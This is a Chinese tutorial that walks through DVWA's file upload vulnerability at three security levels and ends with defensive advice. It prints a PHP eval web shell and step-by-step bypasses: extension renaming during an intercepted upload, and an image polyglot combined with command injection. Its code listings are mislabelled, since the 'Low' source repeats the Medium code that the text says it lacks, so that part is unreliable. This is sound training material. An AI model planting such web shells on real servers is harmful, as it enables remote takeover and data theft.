赞
踩
文件上传漏洞(File Upload Vulnerability)是一种常见的 Web 应用程序漏洞,通常存在于需要用户上传文件的应用程序中,如论坛、电子商务网站、博客、社交网站等。
攻击者可以通过该漏洞上传恶意文件到服务器,从而执行各种攻击操作,如执行命令、窃取敏感数据、植入后门等。
文件上传漏洞通常发生的原因多是服务器未正确验证上传文件类型、大小、路径等参数等,攻击者可以利用这些漏洞绕过服务器的限制,上传恶意文件或脚本到服务器。攻击者通过构造文件名或文件内容来绕过服务器的检查。
本文继续以DVWA(Damn Vulnerable Web Application)进行文件上传漏洞的讲解。
在DVWA中的文件上传漏洞是通过一个文件上传页面实现的。攻击者可以在该页面上选择要上传的文件,并在提交表单时将文件类型伪装为其他允许的文件类型,如.jpg、.png等。这样,服务器就会误认为上传的是图片文件,而没有对文件内容进行进一步的验证和过滤。通过这种方式,攻击者可以将恶意脚本文件上传到服务器上,并在上传成功后访问该文件来执行恶意代码。例如,攻击者可以将一个包含后门功能的PHP脚本上传到服务器上,并通过执行该脚本来获取管理员权限或窃取服务器中的敏感数据。
图1-1 网页概念图
(1)在DVWA low security 中,可以直接上传webshell.php,对服务器进行控制,webshell.php代码如下,读者在webshell.php上传后可自行用蚁剑连接。
<?php @eval($_POST['shell']);?>
图2-1 蚁剑连接webshell
(2)这里点击View Source直接对上传源码进行分析,文件上传的php源代码如代码1-1所示。
图2-2 View Source Button组件
<?php if( isset( $_POST[ 'Upload' ] ) ) { // Where are we going to be writing to? $target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/"; $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] ); // File information $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ]; $uploaded_type = $_FILES[ 'uploaded' ][ 'type' ]; $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ]; // Is it an image? if( ( $uploaded_type == "image/jpeg" || $uploaded_type == "image/png" ) && ( $uploaded_size < 100000 ) ) { // Can we move the file to the upload folder? if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) { // No echo '<pre>Your image was not uploaded.</pre>'; } else { // Yes! echo "<pre>{$target_path} succesfully uploaded!</pre>"; } } else { // Invalid file echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>'; } } ?>
代码 2-1 Low Level php源代码
阅读PHP源代码可以发现:
在第5行代码中定义了文件上传的目标路径,即在DVWA的Web根目录下的hackable/uploads/目录中。
在第6行代码中获取了要上传的文件名,即上传表单中的文件名。
在第19-20行代码中,将上传文件移动到目标路径,如果移动失败,则输出提示信息“Your image was not uploaded.”,否则输出上传成功的提示信息。
总结来说就是:
代码并没有对上传的文件类型、大小、路径等参数进行严格的验证和过滤,这可能会导致文件上传漏洞的产生。 攻击者可以在上传表单中伪造文件类型、修改上传路径等方式来上传恶意文件到服务器上,从而执行各种攻击操作,如执行命令、窃取敏感数据、植入后门等。
(1)继续阅读PHP源代码可以发现:
<?php if( isset( $_POST[ 'Upload' ] ) ) { // Where are we going to be writing to? $target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/"; $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] ); // File information $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ]; $uploaded_type = $_FILES[ 'uploaded' ][ 'type' ]; $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ]; // Is it an image? if( ( $uploaded_type == "image/jpeg" || $uploaded_type == "image/png" ) && ( $uploaded_size < 100000 ) ) { // Can we move the file to the upload folder? if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) { // No echo '<pre>Your image was not uploaded.</pre>'; } else { // Yes! echo "<pre>{$target_path} succesfully uploaded!</pre>"; } } else { // Invalid file echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>'; } } ?>
代码 3-1 Medium level php源代码
在第9-11行代码中,获取了上传文件的一些基本信息,包括文件名、文件类型和文件大小。
在第14-15行代码中,对上传文件进行了类型和大小的验证。其中,对文件类型的验证要求文件必须为JPEG或PNG格式的图片;对文件大小的验证要求文件大小必须小于100KB。
在第14-29行代码中,如果上传的文件类型和大小满足要求,则将文件移动到目标路径,并输出上传成功的提示信息;如果上传的文件类型和大小不满足要求,则输出提示信息,告知用户无法上传该文件类型。
在上面分析的基础上,可以得出结论。设计一个绕过上传类型(png、jpeg)、大小的文件,上传到服务器,就可以实现木马的上传,方法如下。
(2)将webshell.php 改名为webshell.php.jpg。
(3)点击文件上传,进行抓包分析,然后将webshell.php.jpg更改为webshell.php,如此后端在取文件名字进行保存的时候,便保存为了webshell.php,达到了木马上传的效果。
图3-1 修改文件后缀名
图3-2 蚁剑连接上传的webshell
(1) 阅读PHP High level源代码可以发现:
<?php if( isset( $_POST[ 'Upload' ] ) ) { // Where are we going to be writing to? $target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/"; $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] ); // File information $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ]; $uploaded_ext = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1); $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ]; $uploaded_tmp = $_FILES[ 'uploaded' ][ 'tmp_name' ]; // Is it an image? if( ( strtolower( $uploaded_ext ) == "jpg" || strtolower( $uploaded_ext ) == "jpeg" || strtolower( $uploaded_ext ) == "png" ) && ( $uploaded_size < 100000 ) && getimagesize( $uploaded_tmp ) ) { // Can we move the file to the upload folder? if( !move_uploaded_file( $uploaded_tmp, $target_path ) ) { // No echo '<pre>Your image was not uploaded.</pre>'; } else { // Yes! echo "<pre>{$target_path} succesfully uploaded!</pre>"; } } else { // Invalid file echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>'; } } ?>
代码 3-1 Medium level php源代码
阅读源代码可以发现:
在第10-13行代码中,获取了上传文件的一些基本信息,包括文件名、文件扩展名、文件大小和文件临时路径。
在第16-18行代码中,对上传文件进行了类型、大小和内容的验证。其中,对文件类型的验证要求文件必须为JPEG或PNG格式的图片;对文件大小的验证要求文件大小必须小于100KB;对文件内容的验证要求文件内容必须是合法的图片格式。这些验证措施可以有效防止上传恶意文件或脚本文件到服务器上。
在第21-27行代码中,如果上传的文件类型、大小和内容都满足要求,则将文件移动到目标路径,并输出上传成功的提示信息;如果上传的文件类型、大小和内容不满足要求,则输出提示信息,告知用户无法上传该文件类型。
总体来说,通过这段代码的改进,可以有效防止文件上传漏洞的发生,从而保护服务器的安全性。但是,需要注意的是,这段代码仍然存在一些问题,例如上传文件的路径没有进行安全验证,可能会导致目录穿越漏洞的发生。
(2)绕过High level文件长传限制方法如下:
准备一个正常的 JPG 图片,例如 cat.png。
图4-1 cat.png图片
创建一个 PHP Web Shell 文件,例如 webshell.php,内容如下:
<?php @eval($_POST['shell']);?>
使用010editor编辑器打开 cat.png,将上述 PHP 代码复制到文件末尾,并保存文件。
图4-2 cat.jpg加上webshell木马
(3)将 cat.png 重命名 webshell.png,上传此文件到目标 Web 服务器。此时上传的 webshell.png文件无法直接在 URL 上执行,因为它以 png 扩展名上传。
(4)将此文件重命名为 PHP 文件,这个时候需要利用DVWA漏洞命令注入选项,利用漏洞复制webshell.png 并将其重命名为 webshell.php 文件(DVWA漏洞命令注入可以阅读我写的命令注入篇章)。
(5)用蚁剑连接
图4-3 蚁剑连接上传的webshell
文件上传漏洞可能会导致恶意文件被上传到服务器上,攻击者可以通过这些文件来执行攻击,例如控制服务器或窃取敏感数据。因此,对于任何需要处理文件上传的应用程序来说,实施文件上传安全措施至关重要。下面介绍几种防御措施以避免文件上传漏洞。
文件类型和大小限制:应该对文件的类型和大小进行限制,以防止上传恶意文件和过大的文件,从而防止应用程序遭受拒绝服务攻击。
检测上传文件的内容:可以检测上传文件的内容,以防止上传恶意代码。可以使用一些工具来扫描上传的文件,以确保它们不包含恶意代码。
限制上传文件的目录和文件名:可以限制上传文件的目录和文件名,以防止攻击者上传恶意文件,并且防止目录遍历攻击。
实现访问控制:可以实现访问控制,以限制哪些用户有权上传文件。可以强制实施强密码策略,例如要求用户使用复杂密码,并定期更改密码等。
使用加密协议:使用SSL/TLS协议可以加密数据传输,确保上传的数据不会被截取或窃取。建议使用HTTPS来保护数据在传输过程中的安全。
实现文件上传白名单:实施文件上传白名单可以限制上传文件的来源,只允许从信任的来源上传文件。
防火墙和安全软件:使用防火墙和安全软件,可以检测并防止未经授权的访问和攻击,保护服务器免受恶意软件和网络攻击。
图5-1 文件上传安全防护
环境及工具配置
(1)文章中所使用的工具是DVWA源代码和WNMP环境,其中DVWA是一个专门用于漏洞测试的Web应用程序。
(2)为了测试DVWA中的登录安全认证漏洞,需要执行以下步骤:
安装WNMP环境并启动服务器。
下载和安装DVWA,将其部署到WNMP服务器上。
启动DVWA应用程序,通过Web浏览器访问DVWA网站。
在DVWA中寻找和测试文件上传安全漏洞。
Web安全初学者如果自行搭建本文的测试环境及编写代码存在困难,也可以通过以下github获取相关源码及测试环境。
本文所测试用到的相关源码及测试环境:
Web-PenTest/README.md at main · MasterTaiBai/Web-PenTest · GitHub
成为一名合格的Web安全专业人员需要长时间的学习和实践。只有通过持续的努力,掌握Web安全知识和技能,才能真正成为一个专业的白帽子。
在此祝愿安全爱好者及从业人员都能够取得成功,实现自己的梦想,为网络安全贡献自己的力量!
图6-1 安全黑客
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。